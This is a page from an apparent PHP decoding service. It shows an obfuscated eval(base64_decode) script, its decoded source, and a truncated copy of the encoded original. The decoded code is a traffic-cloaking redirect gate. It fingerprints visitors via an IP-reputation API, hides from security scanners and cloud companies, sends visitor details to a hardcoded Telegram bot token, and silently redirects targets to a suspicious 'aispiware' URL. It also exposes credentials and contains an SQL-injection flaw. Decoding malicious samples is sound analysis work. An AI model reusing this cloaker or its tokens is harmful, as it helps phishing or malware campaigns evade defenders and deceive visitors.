Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('JHRlbGVncmFtQm90VG9rZW4gPSAnNzA4MTY4MDU5ODpBQUVGcUVLVEhLQmdubDct..
Decoded Output download
$telegramBotToken = '7081680598:AAEFqEKTHKBgnl7-cXXiP5rS3H38CBJUXAY';
$chatID = '-1001942316651';
$redirectURL = 'https://aispiware-latest.0gp.net/azureai';
$ipQualityToken = 'Ve5SSYgvPy7cx6Sx6Qi4K8wImHyOrWms';
$countryToRedirect = ['US', 'UA', 'GB', 'CN', 'NG', 'ID', 'PK'];
// Set the sleep variable
$sleep = true;
// Obtain visitor's IP address
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Unknown Referrer';
$visitorHostname = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR'];
$apiUrl = "https://ipqualityscore.com/api/json/ip/{$ipQualityToken}/{$visitorHostname}?strictness=2&fast=1";
$dbHost = 'localhost';
$dbUsername = 'hwsr_duppy';
$dbPassword = 'duppy';
$dbName = 'hwsr_kindzaza';
// Function to establish a database connection
function connectToDatabase() {
global $dbHost, $dbUsername, $dbPassword, $dbName;
$conn = new mysqli($dbHost, $dbUsername, $dbPassword, $dbName);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
return $conn;
}
// Function to insert visitor data into the database
function insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType) {
$conn = connectToDatabase();
$ip = $conn->real_escape_string($visitorHostname);
$hostname = isset($data['host']) ? $conn->real_escape_string($data['host']) : '';
$city = isset($data['city']) ? $conn->real_escape_string($data['city']) : '';
$region = isset($data['region']) ? $conn->real_escape_string($data['region']) : '';
$country = isset($data['country_code']) ? $conn->real_escape_string($data['country_code']) : '';
$timezone = isset($data['timezone']) ? $conn->real_escape_string($data['timezone']) : '';
$companyName = isset($data['ISP']) ? $conn->real_escape_string($data['ISP']) : '';
$companyDomain = isset($data['organization']) ? $conn->real_escape_string($data['organization']) : '';
$fraud_score = isset($data['fraud_score']) ? $conn->real_escape_string($data['fraud_score']) : '';
$sql = "INSERT INTO visitor_data (ip, hostname, city, region, country, timezone, company_name, company_domain, fraud_score, action, referral, project, destination, page, device)
VALUES ('$ip', '$hostname', '$city', '$region', '$country', '$timezone', '$companyName', '$companyDomain', '$fraud_score', '$action', '$referrer', '$domainNameVariable', '$destination', '$page', '$deviceType')";
if ($conn->query($sql) !== TRUE) {
echo "Error: " . $sql . "<br>" . $conn->error;
}
$conn->close();
}
// Initialize cURL session
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $apiUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute cURL request
$response = curl_exec($ch);
// Check for errors
if (curl_errno($ch)) {
echo 'Curl error: ' . curl_error($ch);
}
// Close cURL session
curl_close($ch);
// Check if company names like Amazon, Google, Digital Ocean, or Sparklight are found in the response
$companyNames = ['Amazon', 'Google', 'Digital Ocean', 'Facebook', 'Microsoft', 'Censys'];
$detectedCompany = '';
foreach ($companyNames as $company) {
if (stripos($response, $company) !== false) {
$detectedCompany = $company;
break;
}
}
// Function to extract domain name and relative document name
function extractDomainAndPage($url) {
// Extract domain name using regular expression
preg_match('/^(?:https?:\/\/)?(?:[^@
]+@)?(?:www\.)?([^:\/
?]+)([^#?]+)/', $url, $matches);
// Get the domain name from the matched result
$domain = $matches[1];
$page = $matches[2];
// Remove www and any subdomains
$domainParts = explode('.', $domain);
if (count($domainParts) > 2 && $domainParts[0] !== 'www') {
// If there are subdomains, use the first part as the domain name
$domain = $domainParts[0];
} else {
// Otherwise, use the entire domain
$domain = $domainParts[0];
}
// Convert to lowercase and return
return array(strtolower($domain), $page);
}
// Get the current URL dynamically
$currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
// Extract domain name and relative document name
list($domainName, $page) = extractDomainAndPage($currentUrl);
// Store the name in a variable
$domainNameVariable = str_replace(' ', '', ucwords($domainName));
// Function to detect the device type based on the user agent string
function detectDeviceType($userAgent) {
$tabletDevices = array('iPad', 'Android', 'tablet', 'Kindle', 'Silk', 'PlayBook');
$mobileDevices = array('iPhone', 'Android', 'webOS', 'BlackBerry', 'Windows Phone', 'Mobile');
// Check if the user agent contains any tablet device keywords
foreach ($tabletDevices as $device) {
if (stripos($userAgent, $device) !== false) {
return 'Tablet';
}
}
// Check if the user agent contains any mobile device keywords
foreach ($mobileDevices as $device) {
if (stripos($userAgent, $device) !== false) {
return 'Mobile';
}
}
// If not a tablet or mobile device, consider it a desktop
return 'Desktop';
}
// Get the user agent string
$userAgent = $_SERVER['HTTP_USER_AGENT'];
// Detect the device type
$deviceType = detectDeviceType($userAgent);
// Decode the JSON response
$data = json_decode($response, true);
// Extract relevant information
$fraudScore = $data['fraud_score'] ?? null;
$isCrawler = $data['is_crawler'] ?? null;
$recentAbuse = $data['recent_abuse'] ?? null;
$botStatus = $data['bot_status'] ?? null;
$countryCode = $data['country_code'] ?? null;
$host = $data['host'] ?? null;
// Prepare message to send to Telegram
$message = " Visitor Details: {$domainNameVariable}
";
$message .= " page: {$page}
";
$message .= " Country: {$countryCode}
";
$message .= " IP Address: {$visitorHostname}
";
$message .= " Host: {$host}
";
$message .= " Device Type: {$deviceType}
";
$message .= " Refferal : {$referrer}
";
// Include fraud score if available
if (!is_null($fraudScore)) {
$message .= " Fraud Score: {$fraudScore}
";
}
// Include additional details if available
if ($isCrawler) {
$message .= " Visitor is a web crawler
";
}
if ($recentAbuse) {
$message .= " Visitor has recent abuse
";
}
if ($botStatus) {
$message .= " Visitor bot status is true
";
}
// Include company name if detected
if (!empty($detectedCompany)) {
$message .= " Company detected: {$detectedCompany}
";
}
// Check if the country code is not US or AU
if (!in_array($countryCode, $countryToRedirect)) {
$replyID = 6;
$action = 'DNT';
$message .= " Country Not: " . implode(' OR ', $countryToRedirect) . "
";
$message .= "Visitor has been prevented from continuing the project {$domainNameVariable}";
$destination = "Stale fish";
insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
} elseif (!empty($detectedCompany) || $fraudScore > 70 || $isCrawler || $botStatus || $recentAbuse) {
$redirectURL = in_array($countryCode, $countryToRedirect) ? $redirectURL : $secondRedirectURL;
$country = in_array($countryCode, $countryToRedirect) ? $countryToRedirect : $secondCountryToRedirect;
$replyID = 2;
$action = 'DNT';
$message .= " Detected Company or a violation
";
$message .= "Visitor has been prevented from visiting: {$redirectURL}";
$destination = $redirectURL;
insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
} else {
// Conditionally execute loadPageContent based on the value of $sleep
if ($sleep) {
$replyID = 6;
$action = 'DNT';
$message .= " Code is asleep";
$destination = "code is asleep";
insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
} else {
$redirectURL = in_array($countryCode, $countryToRedirect) ? $redirectURL : $secondRedirectURL;
$country = in_array($countryCode, $countryToRedirect) ? $countryToRedirect : $secondCountryToRedirect;
$replyID = 4;
$action = 'SENT';
$message .= " Visitor from {$country} has been redirected to: {$redirectURL}";
// Send message to Telegram
$destination = $redirectURL;
sendMessageToTelegram($telegramBotToken, $chatID, $message, $replyID);
insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
// Call the function to perform the silent redirect
redirectToUrl($redirectURL);
}
}
// Send message to Telegram
sendMessageToTelegram($telegramBotToken, $chatID, $message, $replyID);
// Function to send message to Telegram with the right reply ID
function sendMessageToTelegram($token, $chatID, $message, $replyID) {
$telegramApiUrl = "https://api.telegram.org/bot{$token}/sendMessage";
$params = array(
'chat_id' => $chatID,
'text' => $message,
'reply_to_message_id' => $replyID
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'Telegram API error: ' . curl_error($ch);
}
curl_close($ch);
}
// Function to perform a silent redirect to the specified URL
function redirectToUrl($url) {
// Send a redirect header without any notification
header("Location: $url");
// Terminate the script execution
exit();
}
Did this file decode correctly?
Original Code
<?php eval(base64_decode('JHRlbGVncmFtQm90VG9rZW4gPSAnNzA4MTY4MDU5ODpBQUVGcUVLVEhLQmdubDctY1hYaVA1clMzSDM4Q0JKVVhBWSc7CiAgICAkY2hhdElEID0gJy0xMDAxOTQyMzE2NjUxJzsKICAgICRyZWRpcmVjdFVSTCA9ICdodHRwczovL2Fpc3Bpd2FyZS1sYXRlc3QuMGdwLm5ldC9henVyZWFpJzsgCiAgICAkaXBRdWFsaXR5VG9rZW4gPSAnVmU1U1NZZ3ZQeTdjeDZTeDZRaTRLOHdJbUh5T3JXbXMnOwogICAgJGNvdW50cnlUb1JlZGlyZWN0ID0gWydVUycsICdVQScsICdHQicsICdDTicsICdORycsICdJRCcsICdQSyddOwogICAgCiAgICAvLyBTZXQgdGhlIHNsZWVwIHZhcmlhYmxlCiAgICAkc2xlZXAgPSB0cnVlOwogICAgCiAgICAvLyBPYnRhaW4gdmlzaXRvcidzIElQIGFkZHJlc3MKICAgICRyZWZlcnJlciA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkgPyAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10gOiAnVW5rbm93biBSZWZlcnJlcic7CiAgICAkdmlzaXRvckhvc3RuYW1lID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQ0ZfQ09OTkVDVElOR19JUCddKSA/ICRfU0VSVkVSWydIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnXSA6ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwogICAgJGFwaVVybCA9ICJodHRwczovL2lwcXVhbGl0eXNjb3JlLmNvbS9hcGkvanNvbi9pcC97JGlwUXVhbGl0eVRva2VufS97JHZpc2l0b3JIb3N0bmFtZX0/c3RyaWN0bmVzcz0yJmZhc3Q9MSI7CiAgICAKICAgICRkYkhvc3QgPSAnbG9jYWxob3N0JzsKICAgICRkYlVzZXJuYW1lID0gJ2h3c3JfZHVwcHknOwogICAgJGRiUGFzc3dvcmQgPSAnZHVwcHknOwogICAgJGRiTmFtZSA9ICdod3NyX2tpbmR6YXphJzsKICAgIAogICAgLy8gRnVuY3Rpb24gdG8gZXN0YWJsaXNoIGEgZGF0YWJhc2UgY29ubmVjdGlvbgogICAgZnVuY3Rpb24gY29ubmVjdFRvRGF0YWJhc2UoKSB7CiAgICAgICAgZ2xvYmFsICRkYkhvc3QsICRkYlVzZXJuYW1lLCAkZGJQYXNzd29yZCwgJGRiTmFtZTsKICAgICAgICAkY29ubiA9IG5ldyBteXNxbGkoJGRiSG9zdCwgJGRiVXNlcm5hbWUsICRkYlBhc3N3b3JkLCAkZGJOYW1lKTsKICAgICAgICBpZiAoJGNvbm4tPmNvbm5lY3RfZXJyb3IpIHsKICAgICAgICAgICAgZGllKCJDb25uZWN0aW9uIGZhaWxlZDogIiAuICRjb25uLT5jb25uZWN0X2Vycm9yKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRjb25uOwogICAgfQogICAgCiAgICAvLyBGdW5jdGlvbiB0byBpbnNlcnQgdmlzaXRvciBkYXRhIGludG8gdGhlIGRhdGFiYXNlCiAgICBmdW5jdGlvbiBpbnNlcnRWaXNpdG9yRGF0YSgkZGF0YSwgJGFjdGlvbiwgJHZpc2l0b3JIb3N0bmFtZSwgJHJlZmVycmVyLCAkZG9tYWluTmFtZVZhcmlhYmxlLCAkZGVzdGluYXRpb24sICRwYWdlLCAkZGV2aWNlVHlwZSkgewogICAgICAgICRjb25uID0gY29ubmVjdFRvRGF0YWJhc2UoKTsKICAgICAgICAkaXAgPSAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCR2aXNpdG9ySG9zdG5hbWUpOwogICAgICAgICRob3N0bmFtZSA9IGlzc2V0KCRkYXRhWydob3N0J10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsnaG9zdCddKSA6ICcnOwogICAgICAgICRjaXR5ID0gaXNzZXQoJGRhdGFbJ2NpdHknXSkgPyAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCRkYXRhWydjaXR5J10pIDogJyc7CiAgICAgICAgJHJlZ2lvbiA9IGlzc2V0KCRkYXRhWydyZWdpb24nXSkgPyAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCRkYXRhWydyZWdpb24nXSkgOiAnJzsKICAgICAgICAkY291bnRyeSA9IGlzc2V0KCRkYXRhWydjb3VudHJ5X2NvZGUnXSkgPyAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCRkYXRhWydjb3VudHJ5X2NvZGUnXSkgOiAnJzsKICAgICAgICAkdGltZXpvbmUgPSBpc3NldCgkZGF0YVsndGltZXpvbmUnXSkgPyAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCRkYXRhWyd0aW1lem9uZSddKSA6ICcnOwogICAgICAgICRjb21wYW55TmFtZSA9IGlzc2V0KCRkYXRhWydJU1AnXSkgPyAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCRkYXRhWydJU1AnXSkgOiAnJzsKICAgICAgICAkY29tcGFueURvbWFpbiA9IGlzc2V0KCRkYXRhWydvcmdhbml6YXRpb24nXSkgPyAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCRkYXRhWydvcmdhbml6YXRpb24nXSkgOiAnJzsKICAgICAgICAkZnJhdWRfc2NvcmUgPSBpc3NldCgkZGF0YVsnZnJhdWRfc2NvcmUnXSkgPyAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCRkYXRhWydmcmF1ZF9zY29yZSddKSA6ICcnOwogICAgCiAgICAgICAgJHNxbCA9ICJJTlNFUlQgSU5UTyB2aXNpdG9yX2RhdGEgKGlwLCBob3N0bmFtZSwgY2l0eSwgcmVnaW9uLCBjb3VudHJ5LCB0aW1lem9uZSwgY29tcGFueV9uYW1lLCBjb21wYW55X2RvbWFpbiwgZnJhdWRfc2NvcmUsIGFjdGlvbiwgcmVmZXJyYWwsIHByb2plY3QsIGRlc3RpbmF0aW9uLCBwYWdlLCBkZXZpY2UpIAogICAgICAgICAgICAgICAgVkFMVUVTICgnJGlwJywgJyRob3N0bmFtZScsICckY2l0eScsICckcmVnaW9uJywgJyRjb3VudHJ5JywgJyR0aW1lem9uZScsICckY29tcGFueU5hbWUnLCAnJGNvbXBhbnlEb21haW4nLCAnJGZyYXVkX3Njb3JlJywgJyRhY3Rpb24nLCAnJHJlZmVycmVyJywgJyRkb21haW5OYW1lVmFyaWFibGUnLCAnJGRlc3RpbmF0aW9uJywgJyRwYWdlJywgJyRkZXZpY2VUeXBlJykiOwogICAgICAgIGlmICgkY29ubi0+cXVlcnkoJHNxbCkgIT09IFRSVUUpIHsKICAgICAgICAgICAgZWNobyAiRXJyb3I6ICIgLiAkc3FsIC4gIjxicj4iIC4gJGNvbm4tPmVycm9yOwogICAgICAgIH0KICAgICAgICAkY29ubi0+Y2xvc2UoKTsKICAgIH0KICAgIAogICAgLy8gSW5pdGlhbGl6ZSBjVVJMIHNlc3Npb24KICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgCiAgICAvLyBTZXQgY1VSTCBvcHRpb25zCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkYXBpVXJsKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICAKICAgIC8vIEV4ZWN1dGUgY1VSTCByZXF1ZXN0CiAgICAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsKICAgIAogICAgLy8gQ2hlY2sgZm9yIGVycm9ycwogICAgaWYgKGN1cmxfZXJybm8oJGNoKSkgewogICAgICAgIGVjaG8gJ0N1cmwgZXJyb3I6ICcgLiBjdXJsX2Vycm9yKCRjaCk7CiAgICB9CiAgICAKICAgIC8vIENsb3NlIGNVUkwgc2Vzc2lvbgogICAgY3VybF9jbG9zZSgkY2gpOwogICAgCiAgICAvLyBDaGVjayBpZiBjb21wYW55IG5hbWVzIGxpa2UgQW1hem9uLCBHb29nbGUsIERpZ2l0YWwgT2NlYW4sIG9yIFNwYXJrbGlnaHQgYXJlIGZvdW5kIGluIHRoZSByZXNwb25zZQogICAgJGNvbXBhbnlOYW1lcyA9IFsnQW1hem9uJywgJ0dvb2dsZScsICdEaWdpdGFsIE9jZWFuJywgJ0ZhY2Vib29rJywgJ01pY3Jvc29mdCcsICdDZW5zeXMnXTsKICAgICRkZXRlY3RlZENvbXBhbnkgPSAnJzsKICAgIGZvcmVhY2ggKCRjb21wYW55TmFtZXMgYXMgJGNvbXBhbnkpIHsKICAgICAgICBpZiAoc3RyaXBvcygkcmVzcG9uc2UsICRjb21wYW55KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGRldGVjdGVkQ29tcGFueSA9ICRjb21wYW55OwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9CiAgICAKICAgIC8vIEZ1bmN0aW9uIHRvIGV4dHJhY3QgZG9tYWluIG5hbWUgYW5kIHJlbGF0aXZlIGRvY3VtZW50IG5hbWUKICAgIGZ1bmN0aW9uIGV4dHJhY3REb21haW5BbmRQYWdlKCR1cmwpIHsKICAgICAgICAvLyBFeHRyYWN0IGRvbWFpbiBuYW1lIHVzaW5nIHJlZ3VsYXIgZXhwcmVzc2lvbgogICAgICAgIHByZWdfbWF0Y2goJy9eKD86aHR0cHM/OlwvXC8pPyg/OlteQApdK0ApPyg/Ond3d1wuKT8oW146XC8KP10rKShbXiM/XSspLycsICR1cmwsICRtYXRjaGVzKTsKICAgIAogICAgICAgIC8vIEdldCB0aGUgZG9tYWluIG5hbWUgZnJvbSB0aGUgbWF0Y2hlZCByZXN1bHQKICAgICAgICAkZG9tYWluID0gJG1hdGNoZXNbMV07CiAgICAgICAgJHBhZ2UgPSAkbWF0Y2hlc1syXTsKICAgIAogICAgICAgIC8vIFJlbW92ZSB3d3cgYW5kIGFueSBzdWJkb21haW5zCiAgICAgICAgJGRvbWFpblBhcnRzID0gZXhwbG9kZSgnLicsICRkb21haW4pOwogICAgICAgIGlmIChjb3VudCgkZG9tYWluUGFydHMpID4gMiAmJiAkZG9tYWluUGFydHNbMF0gIT09ICd3d3cnKSB7CiAgICAgICAgICAgIC8vIElmIHRoZXJlIGFyZSBzdWJkb21haW5zLCB1c2UgdGhlIGZpcnN0IHBhcnQgYXMgdGhlIGRvbWFpbiBuYW1lCiAgICAgICAgICAgICRkb21haW4gPSAkZG9tYWluUGFydHNbMF07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gT3RoZXJ3aXNlLCB1c2UgdGhlIGVudGlyZSBkb21haW4KICAgICAgICAgICAgJGRvbWFpbiA9ICRkb21haW5QYXJ0c1swXTsKICAgICAgICB9CiAgICAKICAgICAgICAvLyBDb252ZXJ0IHRvIGxvd2VyY2FzZSBhbmQgcmV0dXJuCiAgICAgICAgcmV0dXJuIGFycmF5KHN0cnRvbG93ZXIoJGRvbWFpbiksICRwYWdlKTsKICAgIH0KICAgIAogICAgLy8gR2V0IHRoZSBjdXJyZW50IFVSTCBkeW5hbWljYWxseQogICAgJGN1cnJlbnRVcmwgPSAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICRfU0VSVkVSWydIVFRQUyddID09PSAnb24nID8gImh0dHBzIiA6ICJodHRwIikgLiAiOi8vIiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwogICAgCiAgICAvLyBFeHRyYWN0IGRvbWFpbiBuYW1lIGFuZCByZWxhdGl2ZSBkb2N1bWVudCBuYW1lCiAgICBsaXN0KCRkb21haW5OYW1lLCAkcGFnZSkgPSBleHRyYWN0RG9tYWluQW5kUGFnZSgkY3VycmVudFVybCk7CiAgICAKICAgIC8vIFN0b3JlIHRoZSBuYW1lIGluIGEgdmFyaWFibGUKICAgICRkb21haW5OYW1lVmFyaWFibGUgPSBzdHJfcmVwbGFjZSgnICcsICcnLCB1Y3dvcmRzKCRkb21haW5OYW1lKSk7CiAgICAKICAgIC8vIEZ1bmN0aW9uIHRvIGRldGVjdCB0aGUgZGV2aWNlIHR5cGUgYmFzZWQgb24gdGhlIHVzZXIgYWdlbnQgc3RyaW5nCiAgICBmdW5jdGlvbiBkZXRlY3REZXZpY2VUeXBlKCR1c2VyQWdlbnQpIHsKICAgICAgICAkdGFibGV0RGV2aWNlcyA9IGFycmF5KCdpUGFkJywgJ0FuZHJvaWQnLCAndGFibGV0JywgJ0tpbmRsZScsICdTaWxrJywgJ1BsYXlCb29rJyk7CiAgICAgICAgJG1vYmlsZURldmljZXMgPSBhcnJheSgnaVBob25lJywgJ0FuZHJvaWQnLCAnd2ViT1MnLCAnQmxhY2tCZXJyeScsICdXaW5kb3dzIFBob25lJywgJ01vYmlsZScpOwogICAgICAgIAogICAgICAgIC8vIENoZWNrIGlmIHRoZSB1c2VyIGFnZW50IGNvbnRhaW5zIGFueSB0YWJsZXQgZGV2aWNlIGtleXdvcmRzCiAgICAgICAgZm9yZWFjaCAoJHRhYmxldERldmljZXMgYXMgJGRldmljZSkgewogICAgICAgICAgICBpZiAoc3RyaXBvcygkdXNlckFnZW50LCAkZGV2aWNlKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIHJldHVybiAnVGFibGV0JzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAKICAgICAgICAvLyBDaGVjayBpZiB0aGUgdXNlciBhZ2VudCBjb250YWlucyBhbnkgbW9iaWxlIGRldmljZSBrZXl3b3JkcwogICAgICAgIGZvcmVhY2ggKCRtb2JpbGVEZXZpY2VzIGFzICRkZXZpY2UpIHsKICAgICAgICAgICAgaWYgKHN0cmlwb3MoJHVzZXJBZ2VudCwgJGRldmljZSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJ01vYmlsZSc7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLy8gSWYgbm90IGEgdGFibGV0IG9yIG1vYmlsZSBkZXZpY2UsIGNvbnNpZGVyIGl0IGEgZGVza3RvcAogICAgICAgIHJldHVybiAnRGVza3RvcCc7CiAgICB9CiAgICAKICAgIC8vIEdldCB0aGUgdXNlciBhZ2VudCBzdHJpbmcKICAgICR1c2VyQWdlbnQgPSAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107CiAgICAKICAgIC8vIERldGVjdCB0aGUgZGV2aWNlIHR5cGUKICAgICRkZXZpY2VUeXBlID0gZGV0ZWN0RGV2aWNlVHlwZSgkdXNlckFnZW50KTsKICAgIAogICAgLy8gRGVjb2RlIHRoZSBKU09OIHJlc3BvbnNlCiAgICAkZGF0YSA9IGpzb25fZGVjb2RlKCRyZXNwb25zZSwgdHJ1ZSk7CiAgICAKICAgIC8vIEV4dHJhY3QgcmVsZXZhbnQgaW5mb3JtYXRpb24KICAgICRmcmF1ZFNjb3JlID0gJGRhdGFbJ2ZyYXVkX3Njb3JlJ10gPz8gbnVsbDsKICAgICRpc0NyYXdsZXIgPSAkZGF0YVsnaXNfY3Jhd2xlciddID8/IG51bGw7CiAgICAkcmVjZW50QWJ1c2UgPSAkZGF0YVsncmVjZW50X2FidXNlJ10gPz8gbnVsbDsKICAgICRib3RTdGF0dXMgPSAkZGF0YVsnYm90X3N0YXR1cyddID8/IG51bGw7CiAgICAkY291bnRyeUNvZGUgPSAkZGF0YVsnY291bnRyeV9jb2RlJ10gPz8gbnVsbDsKICAgICRob3N0ID0gJGRhdGFbJ2hvc3QnXSA/PyBudWxsOwogICAgCiAgICAvLyBQcmVwYXJlIG1lc3NhZ2UgdG8gc2VuZCB0byBUZWxlZ3JhbQogICAgJG1lc3NhZ2UgPSAi8J+VuCBWaXNpdG9yIERldGFpbHM6IHskZG9tYWluTmFtZVZhcmlhYmxlfSBcbiI7CiAgICAkbWVzc2FnZSAuPSAi8J+TnCBwYWdlOiB7JHBhZ2V9IFxuIjsKICAgICRtZXNzYWdlIC49ICIgQ291bnRyeTogeyRjb3VudHJ5Q29kZX1cbiI7CiAgICAkbWVzc2FnZSAuPSAiIElQIEFkZHJlc3M6IHskdmlzaXRvckhvc3RuYW1lfVxuIjsKICAgICRtZXNzYWdlIC49ICLwn5eEIEhvc3Q6IHskaG9zdH1cbiI7CiAgICAkbWVzc2FnZSAuPSAi77iPIERldmljZSBUeXBlOiB7JGRldmljZVR5cGV9IFxuIjsKICAgICRtZXNzYWdlIC49ICLinYQgUmVmZmVyYWwgOiB7JHJlZmVycmVyfSBcbiI7CiAgICAKICAgIC8vIEluY2x1ZGUgZnJhdWQgc2NvcmUgaWYgYXZhaWxhYmxlCiAgICBpZiAoIWlzX251bGwoJGZyYXVkU2NvcmUpKSB7CiAgICAgICAgJG1lc3NhZ2UgLj0gIiBGcmF1ZCBTY29yZTogeyRmcmF1ZFNjb3JlfVxuIjsKICAgIH0KICAgIAogICAgLy8gSW5jbHVkZSBhZGRpdGlvbmFsIGRldGFpbHMgaWYgYXZhaWxhYmxlCiAgICBpZiAoJGlzQ3Jhd2xlcikgewogICAgICAgICRtZXNzYWdlIC49ICIgVmlzaXRvciBpcyBhIHdlYiBjcmF3bGVyXG4iOwogICAgfQogICAgCiAgICBpZiAoJHJlY2VudEFidXNlKSB7CiAgICAgICAgJG1lc3NhZ2UgLj0gIvCfjq8gVmlzaXRvciBoYXMgcmVjZW50IGFidXNlXG4iOwogICAgfQogICAgCiAgICBpZiAoJGJvdFN0YXR1cykgewogICAgICAgICRtZXNzYWdlIC49ICIgVmlzaXRvciBib3Qgc3RhdHVzIGlzIHRydWVcbiI7CiAgICB9CiAgICAKICAgIC8vIEluY2x1ZGUgY29tcGFueSBuYW1lIGlmIGRldGVjdGVkCiAgICBpZiAoIWVtcHR5KCRkZXRlY3RlZENvbXBhbnkpKSB7CiAgICAgICAgJG1lc3NhZ2UgLj0gIiBDb21wYW55IGRldGVjdGVkOiB7JGRldGVjdGVkQ29tcGFueX1cbiI7CiAgICB9CiAgICAKICAgIC8vIENoZWNrIGlmIHRoZSBjb3VudHJ5IGNvZGUgaXMgbm90IFVTIG9yIEFVCiAgICBpZiAoIWluX2FycmF5KCRjb3VudHJ5Q29kZSwgJGNvdW50cnlUb1JlZGlyZWN0KSkgewogICAgICAgICRyZXBseUlEID0gNjsKICAgICAgICAkYWN0aW9uID0gJ0ROVCc7CiAgICAgICAgJG1lc3NhZ2UgLj0gIvCfn6ggQ291bnRyeSBOb3Q6ICIgLiBpbXBsb2RlKCcgT1IgJywgJGNvdW50cnlUb1JlZGlyZWN0KSAuICJcbiI7CiAgICAgICAgJG1lc3NhZ2UgLj0gIlZpc2l0b3IgaGFzIGJlZW4gcHJldmVudGVkIGZyb20gY29udGludWluZyB0aGUgcHJvamVjdCB7JGRvbWFpbk5hbWVWYXJpYWJsZX0iOwogICAgICAgICRkZXN0aW5hdGlvbiA9ICJTdGFsZSBmaXNoIjsKICAgICAgICBpbnNlcnRWaXNpdG9yRGF0YSgkZGF0YSwgJGFjdGlvbiwgJHZpc2l0b3JIb3N0bmFtZSwgJHJlZmVycmVyLCAkZG9tYWluTmFtZVZhcmlhYmxlLCAkZGVzdGluYXRpb24sICRwYWdlLCAkZGV2aWNlVHlwZSk7CiAgICAKICAgIH0gZWxzZWlmICghZW1wdHkoJGRldGVjdGVkQ29tcGFueSkgfHwgJGZyYXVkU2NvcmUgPiA3MCB8fCAkaXNDcmF3bGVyIHx8ICRib3RTdGF0dXMgfHwgJHJlY2VudEFidXNlKSB7CiAgICAKICAgICAgICAkcmVkaXJlY3RVUkwgPSBpbl9hcnJheSgkY291bnRyeUNvZGUsICRjb3VudHJ5VG9SZWRpcmVjdCkgPyAkcmVkaXJlY3RVUkwgOiAkc2Vjb25kUmVkaXJlY3RVUkw7CiAgICAgICAgJGNvdW50cnkgPSBpbl9hcnJheSgkY291bnRyeUNvZGUsICRjb3VudHJ5VG9SZWRpcmVjdCkgPyAkY291bnRyeVRvUmVkaXJlY3QgOiAkc2Vjb25kQ291bnRyeVRvUmVkaXJlY3Q7CiAgICAKICAgICAgICAkcmVwbHlJRCA9IDI7CiAgICAgICAgJGFjdGlvbiA9ICdETlQnOwogICAgICAgICRtZXNzYWdlIC49ICLinYwgRGV0ZWN0ZWQgQ29tcGFueSBvciBhIHZpb2xhdGlvblxuIjsKICAgICAgICAkbWVzc2FnZSAuPSAiVmlzaXRvciBoYXMgYmVlbiBwcmV2ZW50ZWQgZnJvbSB2aXNpdGluZzogeyRyZWRpcmVjdFVSTH0iOwogICAgICAgICRkZXN0aW5hdGlvbiA9ICRyZWRpcmVjdFVSTDsKICAgICAgICBpbnNlcnRWaXNpdG9yRGF0YSgkZGF0YSwgJGFjdGlvbiwgJHZpc2l0b3JIb3N0bmFtZSwgJHJlZmVycmVyLCAkZG9tYWluTmFtZVZhcmlhYmxlLCAkZGVzdGluYXRpb24sICRwYWdlLCAkZGV2aWNlVHlwZSk7CiAgICAKICAgIH0gZWx